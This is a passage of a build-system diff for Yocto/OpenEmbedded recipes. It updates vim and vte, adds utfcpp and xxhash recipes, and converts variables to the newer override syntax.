-FILES_${PN} = "${sysconfdir}/dbus-1/system.d/system-xuser.conf"
+FILES:${PN} = "${sysconfdir}/dbus-1/system.d/system-xuser.conf"
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--create-home \
+USERADD_PARAM:${PN} = "--create-home \
--groups video,tty,audio,input,shutdown,disk \
--user-group xuser"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-support/utfcpp/utfcpp_4.0.5.bb b/meta/recipes-support/utfcpp/utfcpp_4.0.5.bb
new file mode 100644
index 0000000000..5ac6fd369a
--- /dev/null
+++ b/meta/recipes-support/utfcpp/utfcpp_4.0.5.bb
@@ -0,0 +1,16 @@
+SUMMARY = " UTF-8 with C++ in a Portable Way"
+HOMEPAGE = "https://github.com/nemtrif/utfcpp"
+
+LICENSE = "BSL-1.0 & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e4224ccaecb14d942c71d31bef20d78c \
+ file://extern/ftest/LICENSE;md5=d33c6488d3b003723a5f17ac984db030"
+
+SRC_URI = "gitsm://github.com/nemtrif/utfcpp;protocol=https;branch=master"
+
+SRCREV = "6be08bbea14ffa0a5c594257fb6285a054395cd7"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+FILES:${PN}-dev += "${datadir}/utf8cpp/cmake"
diff --git a/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch b/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch
index 63a7b78f12..2fc11dbdc2 100644
--- a/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch
+++ b/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch
@@ -16,11 +16,11 @@ Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
src/Makefile | 14 ++++----------
1 file changed, 4 insertions(+), 10 deletions(-)
-diff --git a/src/Makefile b/src/Makefile
-index f2fafa4dc..7148d4bd9 100644
---- a/src/Makefile
-+++ b/src/Makefile
-@@ -2845,16 +2845,10 @@ auto/pathdef.c: Makefile auto/config.mk
+Index: git/src/Makefile
+===================================================================
+--- git.orig/src/Makefile
++++ git/src/Makefile
+@@ -3101,16 +3101,10 @@ auto/pathdef.c: Makefile auto/config.mk
-@echo '#include "vim.h"' >> $@
-@echo 'char_u *default_vim_dir = (char_u *)"$(VIMRCLOC)";' | $(QUOTESED) >> $@
-@echo 'char_u *default_vimruntime_dir = (char_u *)"$(VIMRUNTIMEDIR)";' | $(QUOTESED) >> $@
@@ -41,6 +41,3 @@ index f2fafa4dc..7148d4bd9 100644
-@sh $(srcdir)/pathdef.sh
GUI_GTK_RES_INPUTS = \
---
-2.17.1
-
diff --git a/meta/recipes-support/vim/files/disable_acl_header_check.patch b/meta/recipes-support/vim/files/disable_acl_header_check.patch
index 33089162b4..ee1ea0f390 100644
--- a/meta/recipes-support/vim/files/disable_acl_header_check.patch
+++ b/meta/recipes-support/vim/files/disable_acl_header_check.patch
@@ -5,7 +5,7 @@ Subject: [PATCH] disable acl header check
Don't check 'sys/acl.h' if acl support disabled for vim/vim-tiny.
-Upstream-Status: pending
+Upstream-Status: Pending
Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
Signed-off-by: Changqing Li <changqing.li@windriver.com>
@@ -13,11 +13,11 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
src/configure.ac | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
-diff --git a/src/configure.ac b/src/configure.ac
-index 2d409b3ca06a..dbcaf6140263 100644
---- a/src/configure.ac
-+++ b/src/configure.ac
-@@ -3257,7 +3257,7 @@ AC_CHECK_HEADERS(stdint.h stdlib.h string.h \
+Index: git/src/configure.ac
+===================================================================
+--- git.orig/src/configure.ac
++++ git/src/configure.ac
+@@ -3292,7 +3292,7 @@ AC_CHECK_HEADERS(stdint.h stdlib.h strin
sys/systeminfo.h locale.h sys/stream.h termios.h \
libc.h sys/statfs.h poll.h sys/poll.h pwd.h \
utime.h sys/param.h sys/ptms.h libintl.h libgen.h \
@@ -26,7 +26,7 @@ index 2d409b3ca06a..dbcaf6140263 100644
sys/access.h sys/sysinfo.h wchar.h wctype.h)
dnl sys/ptem.h depends on sys/stream.h on Solaris
-@@ -3886,6 +3886,7 @@ AC_ARG_ENABLE(acl,
+@@ -3974,6 +3974,7 @@ AC_ARG_ENABLE(acl,
, [enable_acl="yes"])
if test "$enable_acl" = "yes"; then
AC_MSG_RESULT(no)
@@ -34,6 +34,3 @@ index 2d409b3ca06a..dbcaf6140263 100644
AC_CHECK_LIB(posix1e, acl_get_file, [LIBS="$LIBS -lposix1e"],
AC_CHECK_LIB(acl, acl_get_file, [LIBS="$LIBS -lacl"
AC_CHECK_LIB(attr, fgetxattr, LIBS="$LIBS -lattr",,)],,),)
---
-2.7.4
-
diff --git a/meta/recipes-support/vim/files/no-path-adjust.patch b/meta/recipes-support/vim/files/no-path-adjust.patch
index 05c2d803f6..908459a95e 100644
--- a/meta/recipes-support/vim/files/no-path-adjust.patch
+++ b/meta/recipes-support/vim/files/no-path-adjust.patch
@@ -1,4 +1,7 @@
-vim: do not adjust script pathnames
+From 4125a1ccb82fd53d003acdc34e462f238f0c4f0d Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Fri, 8 Jul 2022 11:03:22 +0800
+Subject: [PATCH] vim: do not adjust script pathnames
When cross-compiling, we do not want to reference the host versions of
things like perl and awk.
@@ -6,22 +9,28 @@ things like perl and awk.
Upstream-Status: Pending
Signed-off-by: Joe Slater <joe.slater@windriver.com>
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ src/Makefile | 6 +-----
+ 1 file changed, 1 insertion(+), 5 deletions(-)
+diff --git a/src/Makefile b/src/Makefile
+index c9513a632..7a7cbdc43 100644
--- a/src/Makefile
+++ b/src/Makefile
-@@ -2507,11 +2507,14 @@ installtools: $(TOOLS) $(DESTDIR)$(exec_
+@@ -2534,11 +2534,7 @@ installtools: $(TOOLS) $(DESTDIR)$(exec_prefix) $(DEST_BIN) \
rm -rf $$cvs; \
fi
-chmod $(FILEMOD) $(DEST_TOOLS)/*
-# replace the path in some tools
-+
-+# replace the path in some tools, but not when cross-compiling
-+ifneq ($(CROSS_COMPILING),1)
- perlpath=`./which.sh perl` && sed -e "s+/usr/bin/perl+$$perlpath+" $(TOOLSSOURCE)/efm_perl.pl >$(DEST_TOOLS)/efm_perl.pl
- awkpath=`./which.sh nawk` && sed -e "s+/usr/bin/nawk+$$awkpath+" $(TOOLSSOURCE)/mve.awk >$(DEST_TOOLS)/mve.awk; if test -z "$$awkpath"; then \
- awkpath=`./which.sh gawk` && sed -e "s+/usr/bin/nawk+$$awkpath+" $(TOOLSSOURCE)/mve.awk >$(DEST_TOOLS)/mve.awk; if test -z "$$awkpath"; then \
- awkpath=`./which.sh awk` && sed -e "s+/usr/bin/nawk+$$awkpath+" $(TOOLSSOURCE)/mve.awk >$(DEST_TOOLS)/mve.awk; fi; fi
-+endif
+- perlpath=`./which.sh perl` && sed -e "s+/usr/bin/perl+$$perlpath+" $(TOOLSSOURCE)/efm_perl.pl >$(DEST_TOOLS)/efm_perl.pl
+- awkpath=`./which.sh nawk` && sed -e "s+/usr/bin/nawk+$$awkpath+" $(TOOLSSOURCE)/mve.awk >$(DEST_TOOLS)/mve.awk; if test -z "$$awkpath"; then \
+- awkpath=`./which.sh gawk` && sed -e "s+/usr/bin/nawk+$$awkpath+" $(TOOLSSOURCE)/mve.awk >$(DEST_TOOLS)/mve.awk; if test -z "$$awkpath"; then \
+- awkpath=`./which.sh awk` && sed -e "s+/usr/bin/nawk+$$awkpath+" $(TOOLSSOURCE)/mve.awk >$(DEST_TOOLS)/mve.awk; fi; fi
++# not replace the path in some tools
-chmod $(SCRIPTMOD) `grep -l "^#!" $(DEST_TOOLS)/*`
# install the language specific files for tools, if they were unpacked
+--
+2.25.1
+
diff --git a/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch b/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch
index 37914d4cd9..5284ba45b6 100644
--- a/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch
+++ b/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch
@@ -14,11 +14,11 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
src/configure.ac | 7 +++++++
1 file changed, 7 insertions(+)
-diff --git a/src/configure.ac b/src/configure.ac
-index 0ee86ad..64736f0 100644
---- a/src/configure.ac
-+++ b/src/configure.ac
-@@ -3192,11 +3192,18 @@ AC_TRY_COMPILE([#include <stdio.h>], [int x __attribute__((unused));],
+Index: git/src/configure.ac
+===================================================================
+--- git.orig/src/configure.ac
++++ git/src/configure.ac
+@@ -3264,11 +3264,18 @@ AC_TRY_COMPILE([#include <stdio.h>], [in
AC_MSG_RESULT(no))
dnl Checks for header files.
@@ -37,6 +37,3 @@ index 0ee86ad..64736f0 100644
AC_HEADER_DIRENT
---
-2.7.4
-
diff --git a/meta/recipes-support/vim/vim-tiny_8.2.bb b/meta/recipes-support/vim/vim-tiny_9.1.bb
index e4c26d23f6..e4c26d23f6 100644
--- a/meta/recipes-support/vim/vim-tiny_8.2.bb
+++ b/meta/recipes-support/vim/vim-tiny_9.1.bb
diff --git a/meta/recipes-support/vim/vim.inc b/meta/recipes-support/vim/vim.inc
index 4d2886c19e..071deed338 100644
--- a/meta/recipes-support/vim/vim.inc
+++ b/meta/recipes-support/vim/vim.inc
@@ -1,28 +1,37 @@
SUMMARY = "Vi IMproved - enhanced vi editor"
+DESCRIPTION = "Vim is a greatly improved version of the good old UNIX editor Vi. Many new features have been added: multi-level undo, syntax highlighting, command line history, on-line help, spell checking, filename completion, block operations, script language, etc. There is also a Graphical User Interface (GUI) available."
SECTION = "console/utils"
+HOMEPAGE = "https://www.vim.org/"
+BUGTRACKER = "https://github.com/vim/vim/issues"
+
DEPENDS = "ncurses gettext-native"
# vimdiff doesn't like busybox diff
-RSUGGESTS_${PN} = "diffutils"
-LICENSE = "vim"
-LIC_FILES_CHKSUM = "file://runtime/doc/uganda.txt;endline=287;md5=a19edd7ec70d573a005d9e509375a99a"
+RSUGGESTS:${PN} = "diffutils"
+
+LICENSE = "Vim"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d1a651ab770b45d41c0f8cb5a8ca930e"
-SRC_URI = "git://github.com/vim/vim.git \
+SRC_URI = "git://github.com/vim/vim.git;branch=master;protocol=https \
file://disable_acl_header_check.patch \
file://vim-add-knob-whether-elf.h-are-checked.patch \
file://0001-src-Makefile-improve-reproducibility.patch \
file://no-path-adjust.patch \
-"
-SRCREV = "98056533b96b6b5d8849641de93185dd7bcadc44"
+ "
+
+PV .= ".0114"
+SRCREV = "fcaed6a70faf73bff3e5405ada556d726024f866"
# Do not consider .z in x.y.z, as that is updated with every commit
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+)\.0"
+# Ignore that the upstream version .z in x.y.z is always newer
+UPSTREAM_VERSION_UNKNOWN = "1"
S = "${WORKDIR}/git"
VIMDIR = "vim${@d.getVar('PV').split('.')[0]}${@d.getVar('PV').split('.')[1]}"
-inherit autotools-brokensep update-alternatives mime-xdg
+inherit autotools-brokensep update-alternatives mime-xdg pkgconfig
CLEANBROKEN = "1"
@@ -31,29 +40,24 @@ do_configure () {
cd src
rm -f auto/*
touch auto/config.mk
+ # git timestamps aren't reliable, so touch the shipped .po files so they aren't regenerated
+ touch -c po/cs.cp1250.po po/ja.euc-jp.po po/ja.sjis.po po/ko.po po/pl.UTF-8.po po/pl.cp1250.po po/ru.cp1251.po po/sk.cp1250.po po/uk.cp1251.po po/zh_CN.po po/zh_CN.cp936.po po/zh_TW.po
+ # ru.cp1251.po uses CP1251 rather than cp1251, fix that
+ sed -i -e s/CP1251/cp1251/ po/ru.cp1251.po
aclocal
autoconf
cd ..
oe_runconf
touch src/auto/configure
touch src/auto/config.mk src/auto/config.h
+ # need a native tool, not a target one
+ ${BUILD_CC} src/po/sjiscorr.c -o src/po/sjiscorr
}
-do_compile() {
- # We do not support fully / correctly the following locales. Attempting
- # to use these with msgfmt in order to update the ".desktop" files exposes
- # this problem and leads to the compile failing.
- for LOCALE in cs fr ko pl sk zh_CN zh_TW;do
- echo -n > src/po/${LOCALE}.po
- done
- autotools_do_compile
-}
-
-#Available PACKAGECONFIG options are gtkgui, acl, x11, tiny
-PACKAGECONFIG ??= ""
-PACKAGECONFIG += " \
+PACKAGECONFIG ??= "\
${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 gtkgui', '', d)} \
+ nls \
"
PACKAGECONFIG[gtkgui] = "--enable-gui=gtk3,--enable-gui=no,gtk+3"
@@ -62,14 +66,19 @@ PACKAGECONFIG[x11] = "--with-x,--without-x,xt,"
PACKAGECONFIG[tiny] = "--with-features=tiny,--with-features=big,,"
PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux,"
PACKAGECONFIG[elfutils] = "--enable-elf-check,,elfutils,"
+PACKAGECONFIG[nls] = "--enable-nls,--disable-nls,,"
+PACKAGECONFIG[sound] = "--enable-canberra,--disable-canberra,canberra,"
EXTRA_OECONF = " \
--disable-gpm \
--disable-gtktest \
--disable-xim \
--disable-netbeans \
+ --disable-desktop-database-update \
--with-tlib=ncurses \
+ --with-modified-by='${MAINTAINER}' \
ac_cv_small_wchar_t=no \
+ ac_cv_path_GLIB_COMPILE_RESOURCES=no \
vim_cv_getcwd_broken=no \
vim_cv_memmove_handles_overlap=yes \
vim_cv_stat_ignores_slash=no \
@@ -80,6 +89,10 @@ EXTRA_OECONF = " \
STRIP=/bin/true \
"
+# Some host distros don't have it, disable consistently
+EXTRA_OECONF:append:class-native = " vim_cv_timer_create=no"
+EXTRA_OECONF:append:class-target = " vim_cv_timer_create=yes"
+
do_install() {
autotools_do_install
@@ -106,18 +119,18 @@ do_install() {
PARALLEL_MAKEINST = ""
PACKAGES =+ "${PN}-common ${PN}-syntax ${PN}-help ${PN}-tutor ${PN}-vimrc ${PN}-tools"
-FILES_${PN}-syntax = "${datadir}/${BPN}/${VIMDIR}/syntax"
-FILES_${PN}-help = "${datadir}/${BPN}/${VIMDIR}/doc"
-FILES_${PN}-tutor = "${datadir}/${BPN}/${VIMDIR}/tutor ${bindir}/${BPN}tutor"
-FILES_${PN}-vimrc = "${datadir}/${BPN}/vimrc"
-FILES_${PN}-data = "${datadir}/${BPN}"
+FILES:${PN}-syntax = "${datadir}/${BPN}/${VIMDIR}/syntax"
+FILES:${PN}-help = "${datadir}/${BPN}/${VIMDIR}/doc"
+FILES:${PN}-tutor = "${datadir}/${BPN}/${VIMDIR}/tutor ${bindir}/${BPN}tutor"
+FILES:${PN}-vimrc = "${datadir}/${BPN}/vimrc"
+FILES:${PN}-data = "${datadir}/${BPN}"
# We do not want to complain if perl or gawk are not on the target.
#
-FILES_${PN}-tools = "${datadir}/${BPN}/${VIMDIR}/tools"
-INSANE_SKIP_${PN}-tools = "file-rdeps"
+FILES:${PN}-tools = "${datadir}/${BPN}/${VIMDIR}/tools"
+INSANE_SKIP:${PN}-tools = "file-rdeps"
-FILES_${PN}-common = " \
+FILES:${PN}-common = " \
${datadir}/${BPN}/${VIMDIR}/*.vim \
${datadir}/${BPN}/${VIMDIR}/autoload \
${datadir}/${BPN}/${VIMDIR}/colors \
@@ -133,11 +146,7 @@ FILES_${PN}-common = " \
${datadir}/icons \
"
-RDEPENDS_${BPN} = "ncurses-terminfo-base"
-# Recommend that runtime data is installed along with vim
-RRECOMMENDS_${BPN} = "${PN}-syntax ${PN}-help ${PN}-tutor ${PN}-vimrc ${PN}-common"
-
-ALTERNATIVE_${PN} = "vi vim"
+ALTERNATIVE:${PN} = "vi vim"
ALTERNATIVE_PRIORITY = "100"
ALTERNATIVE_TARGET = "${bindir}/${BPN}.${BPN}"
ALTERNATIVE_LINK_NAME[vi] = "${base_bindir}/vi"
diff --git a/meta/recipes-support/vim/vim_8.2.bb b/meta/recipes-support/vim/vim_8.2.bb
deleted file mode 100644
index 709b6ddb55..0000000000
--- a/meta/recipes-support/vim/vim_8.2.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require vim.inc
-
-PROVIDES = "xxd"
-
-PACKAGECONFIG_class-native = ""
-BBCLASSEXTEND = "native"
-
-ALTERNATIVE_${PN}_append = " xxd"
-ALTERNATIVE_TARGET[xxd] = "${bindir}/xxd"
-ALTERNATIVE_LINK_NAME[xxd] = "${bindir}/xxd"
-
-# We override the default in security_flags.inc because vim (not vim-tiny!) will abort
-# in many places for _FORTIFY_SOURCE=2. Security flags become part of CC.
-#
-lcl_maybe_fortify = "${@oe.utils.conditional('DEBUG_BUILD','1','','-D_FORTIFY_SOURCE=1',d)}"
diff --git a/meta/recipes-support/vim/vim_9.1.bb b/meta/recipes-support/vim/vim_9.1.bb
new file mode 100644
index 0000000000..fee9f055e9
--- /dev/null
+++ b/meta/recipes-support/vim/vim_9.1.bb
@@ -0,0 +1,23 @@
+require vim.inc
+
+PROVIDES = "xxd"
+
+RDEPENDS:${PN} = "ncurses-terminfo-base ${PN}-xxd"
+# Recommend that runtime data is installed along with vim
+RRECOMMENDS:${PN} = "${PN}-syntax ${PN}-help ${PN}-tutor ${PN}-vimrc ${PN}-common"
+
+PACKAGECONFIG:class-native = ""
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGES =+ "${PN}-xxd"
+FILES:${PN}-xxd = "${bindir}/xxd"
+RPROVIDES:${PN}-xxd = "xxd"
+
+ALTERNATIVE:${PN}-xxd = "xxd"
+ALTERNATIVE_TARGET[xxd] = "${bindir}/xxd"
+ALTERNATIVE_LINK_NAME[xxd] = "${bindir}/xxd"
+
+# We override the default in security_flags.inc because vim (not vim-tiny!) will abort
+# in many places for _FORTIFY_SOURCE=2. Security flags become part of CC.
+#
+lcl_maybe_fortify = "${@oe.utils.conditional('DEBUG_BUILD','1','','-D_FORTIFY_SOURCE=1',d)}"
diff --git a/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch b/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
index 0ffd92b4ba..8934d5f80a 100644
--- a/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
+++ b/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
@@ -1,59 +1,35 @@
-From f78988d3bb5929c857e788a86c7919d6a4ffacc9 Mon Sep 17 00:00:00 2001
+From de9639baac792327c701e509258b8a13f6959e82 Mon Sep 17 00:00:00 2001
From: Danilo Spinella <danyspin97@protonmail.com>
Date: Thu, 21 Mar 2019 14:19:26 +0100
Subject: [PATCH] Add W_EXITCODE macro for non-glibc systems
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
Upstream-Status: Submitted [1]
Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
[1] https://gitlab.gnome.org/GNOME/vte/issues/72
-
---
- src/missing.hh | 21 +++++++++++++++++++++
- src/widget.cc | 1 +
- 2 files changed, 22 insertions(+)
- create mode 100644 src/missing.hh
+ src/widget.cc | 4 +++
+ 1 files changed, 4 insertions(+)
-diff --git a/src/missing.hh b/src/missing.hh
-new file mode 100644
-index 00000000..1baa993d
---- /dev/null
-+++ b/src/missing.hh
-@@ -0,0 +1,21 @@
-+/* Copyright 2019 Danilo Spinella
-+ *
-+ * This library is free software; you can redistribute it and/or
-+ * modify it under the terms of the GNU Lesser General Public
-+ * License as published by the Free Software Foundation; either
-+ * version 3 of the License, or (at your option) any later version.
-+ *
-+ * This library is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ * Lesser General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU Lesser General Public
-+ * License along with this library; if not, write to the Free Software
-+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-+ */
-+
-+#ifndef W_EXITCODE
-+#define W_EXITCODE(ret, sig) ((ret) << 8 | (sig))
-+#endif
-+
diff --git a/src/widget.cc b/src/widget.cc
-index 331ddba9..555a4adf 100644
+index 07f7cabf..31a77f68 100644
--- a/src/widget.cc
+++ b/src/widget.cc
-@@ -21,6 +21,7 @@
- #include "widget.hh"
+@@ -16,6 +16,10 @@
+ * along with this library. If not, see <https://www.gnu.org/licenses/>.
+ */
- #include <sys/wait.h> // for W_EXITCODE
-+#include "missing.hh" // for W_EXITCODE on non-glibc systems
++#ifndef W_EXITCODE
++#define W_EXITCODE(ret, sig) ((ret) << 8 | (sig))
++#endif
++
+ #include "config.h"
- #include <new>
- #include <string>
+ #include "widget.hh"
--
-2.21.0
+2.42.0
diff --git a/meta/recipes-support/vte/vte_0.60.3.bb b/meta/recipes-support/vte/vte_0.60.3.bb
deleted file mode 100644
index 02a886bce0..0000000000
--- a/meta/recipes-support/vte/vte_0.60.3.bb
+++ /dev/null
@@ -1,58 +0,0 @@
-SUMMARY = "Virtual terminal emulator GTK+ widget library"
-BUGTRACKER = "https://bugzilla.gnome.org/buglist.cgi?product=vte"
-LICENSE = "GPLv3 & LGPLv3+ & LGPLv2.1+"
-LICENSE_libvte = "LGPLv3+"
-
-LIC_FILES_CHKSUM = " \
- file://COPYING.GPL3;md5=2f31b266d3440dd7ee50f92cf67d8e6c \
- file://COPYING.LGPL2;md5=4fbd65380cdd255951079008b364516c \
- file://COPYING.LGPL3;md5=b52f2d57d10c4f7ee67a7eb9615d5d24 \
-"
-
-DEPENDS = "glib-2.0 gtk+3 libpcre2 libxml2-native gperf-native icu"
-
-GNOMEBASEBUILDCLASS = "meson"
-GIR_MESON_OPTION = 'gir'
-
-inherit gnomebase gtk-doc features_check upstream-version-is-even gobject-introspection
-
-# vapigen.m4 is required when vala is not present (but the one from vala should be used normally)
-SRC_URI += "file://0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch"
-SRC_URI[archive.md5sum] = "4214712ecab2d50e2a3a07897c3ada49"
-SRC_URI[archive.sha256sum] = "feb76e1181a357d86112d447a08d127e2081438df76ece83243b18609dd9822a"
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-# Instead of "inherit vala" we do the relevant settings here so we can
-# set DEPENDS based on PACKAGECONFIG.
-
-# Our patched version of Vala looks in STAGING_DATADIR for .vapi files
-export STAGING_DATADIR
-# Upstream Vala >= 0.11 looks in XDG_DATA_DIRS for .vapi files
-export XDG_DATA_DIRS = "${STAGING_DATADIR}"
-
-# Help g-ir-scanner find the .so for linking
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/src/.libs"
-}
-
-# Package additional files
-FILES_${PN}-dev += "${datadir}/vala/vapi/*"
-
-PACKAGECONFIG ??= "gnutls"
-PACKAGECONFIG[vala] = "-Dvapi=true,-Dvapi=false,vala-native vala"
-PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
-PACKAGECONFIG[systemd] = "-D_systemd=true,-D_systemd=false,systemd"
-# vala requires gir
-PACKAGECONFIG_remove_class-native = "vala"
-
-CFLAGS += "-D_GNU_SOURCE"
-
-PACKAGES =+ "libvte ${PN}-prompt"
-FILES_libvte = "${libdir}/*.so.* ${libdir}/girepository-1.0/*"
-FILES_${PN}-prompt = " \
- ${sysconfdir}/profile.d \
- ${libexecdir}/vte-urlencode-cwd \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/vte/vte_0.74.2.bb b/meta/recipes-support/vte/vte_0.74.2.bb
new file mode 100644
index 0000000000..d8eafde2fb
--- /dev/null
+++ b/meta/recipes-support/vte/vte_0.74.2.bb
@@ -0,0 +1,56 @@
+SUMMARY = "Virtual terminal emulator GTK+ widget library"
+DESCRIPTION = "VTE provides a virtual terminal widget for GTK applications."
+HOMEPAGE = "https://wiki.gnome.org/Apps/Terminal/VTE"
+BUGTRACKER = "https://bugzilla.gnome.org/buglist.cgi?product=vte"
+LICENSE = "GPL-3.0-only & LGPL-3.0-or-later & MIT"
+LICENSE:libvte = "LGPL-3.0-or-later"
+
+LIC_FILES_CHKSUM = " \
+ file://COPYING.GPL3;md5=cc702cf3444d1f19680c794cc61948f9 \
+ file://COPYING.LGPL3;md5=b52f2d57d10c4f7ee67a7eb9615d5d24 \
+ file://COPYING.XTERM;md5=d7fc3a23c16c039afafe2e042030f057 \
+"
+
+DEPENDS = "glib-2.0 glib-2.0-native gtk+3 libpcre2 libxml2-native gperf-native icu"
+
+GIR_MESON_OPTION = 'gir'
+GIDOCGEN_MESON_OPTION = "docs"
+
+inherit gnomebase gi-docgen features_check upstream-version-is-even gobject-introspection systemd vala
+
+SRC_URI += "file://0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch"
+SRC_URI[archive.sha256sum] = "a535fb2a98fea8a2449cd1a02cccf5190131dddff52e715afdace3feb536eae7"
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+EXTRA_OEMESON += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Dvapi=true', '-Dvapi=false', d)}"
+EXTRA_OEMESON:append = " ${@bb.utils.contains('GI_DATA_ENABLED', 'False', '-Ddocs=false', '', d)}"
+
+PACKAGECONFIG ??= " \
+ gnutls \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gtk4', '', d)} \
+"
+PACKAGECONFIG[fribidi] = "-Dfribidi=true,-Dfribidi=false,fribidi"
+PACKAGECONFIG[gtk4] = "-Dgtk4=true,-Dgtk4=false,gtk4"
+PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
+PACKAGECONFIG[systemd] = "-D_systemd=true,-D_systemd=false,systemd"
+
+PACKAGES =+ "libvte-gtk4 ${PN}-gtk4 ${PN}-gtk4-dev libvte ${PN}-prompt"
+FILES:libvte-gtk4 = "${libdir}/lib*gtk4.so.* ${libdir}/girepository-1.0/Vte-3.91.typelib"
+FILES:${PN}-gtk4 ="${bindir}/vte-2.91-gtk4"
+FILES:${PN}-gtk4-dev = "${libdir}/lib*gtk4.so \
+ ${libdir}/pkgconfig/vte-2.91-gtk4.pc \
+ ${datadir}/gir-1.0/Vte-3.91.gir \
+ ${datadir}/vala/vapi/vte-2.91-gtk4.deps \
+ ${datadir}/vala/vapi/vte-2.91-gtk4.vapi \
+ ${includedir}/vte-2.91-gtk4 \
+ "
+FILES:${PN} +="${systemd_user_unitdir}"
+FILES:libvte = "${libdir}/*.so.* ${libdir}/girepository-1.0/*"
+FILES:${PN}-prompt = " \
+ ${sysconfdir}/profile.d \
+ ${libexecdir}/vte-urlencode-cwd \
+"
+
+FILES:${PN}-dev += "${datadir}/glade/"
diff --git a/meta/recipes-support/xxhash/xxhash_0.8.2.bb b/meta/recipes-support/xxhash/xxhash_0.8.2.bb
new file mode 100644
index 0000000000..f16b183c95
--- /dev/null
+++ b/meta/recipes-support/xxhash/xxhash_0.8.2.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Extremely fast non-cryptographic hash algorithm"
+DESCRIPTION = "xxHash is an extremely fast non-cryptographic hash algorithm, \
+working at speeds close to RAM limits."
+HOMEPAGE = "http://www.xxhash.com/"
+LICENSE = "BSD-2-Clause & GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=13be6b481ff5616f77dda971191bb29b \
+ file://cli/COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ "
+
+SRC_URI = "git://github.com/Cyan4973/xxHash.git;branch=release;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+SRCREV = "bbb27a5efb85b92a0486cf361a8635715a53f6ba"
+
+S = "${WORKDIR}/git"
+
+CFLAGS += "${@bb.utils.contains('SELECTED_OPTIMIZATION', '-Og', '-DXXH_NO_INLINE_HINTS', '', d)}"
+
+do_compile () {
+ oe_runmake all
+}
+
+do_install () {
+ oe_runmake DESTDIR=${D} install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/site/arc-common b/meta/site/arc-common
index d3c721a8bb..5cdad0b07b 100644
--- a/meta/site/arc-common
+++ b/meta/site/arc-common
@@ -3,9 +3,5 @@ ac_cv_alignof_guint32=4
ac_cv_alignof_guint64=4
ac_cv_alignof_unsigned_long=4
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
diff --git a/meta/site/arm-32 b/meta/site/arm-32
index 81fd8d3103..be741617b6 100644
--- a/meta/site/arm-32
+++ b/meta/site/arm-32
@@ -4,44 +4,5 @@
ac_cv_sizeof_size_t=${ac_cv_sizeof_size_t=4}
ac_cv_sizeof_ssize_t=${ac_cv_sizeof_ssize_t=4}
-# glib
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-
-# glib-2.0
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_intmax_t=${glib_cv_sizeof_intmax_t=8}
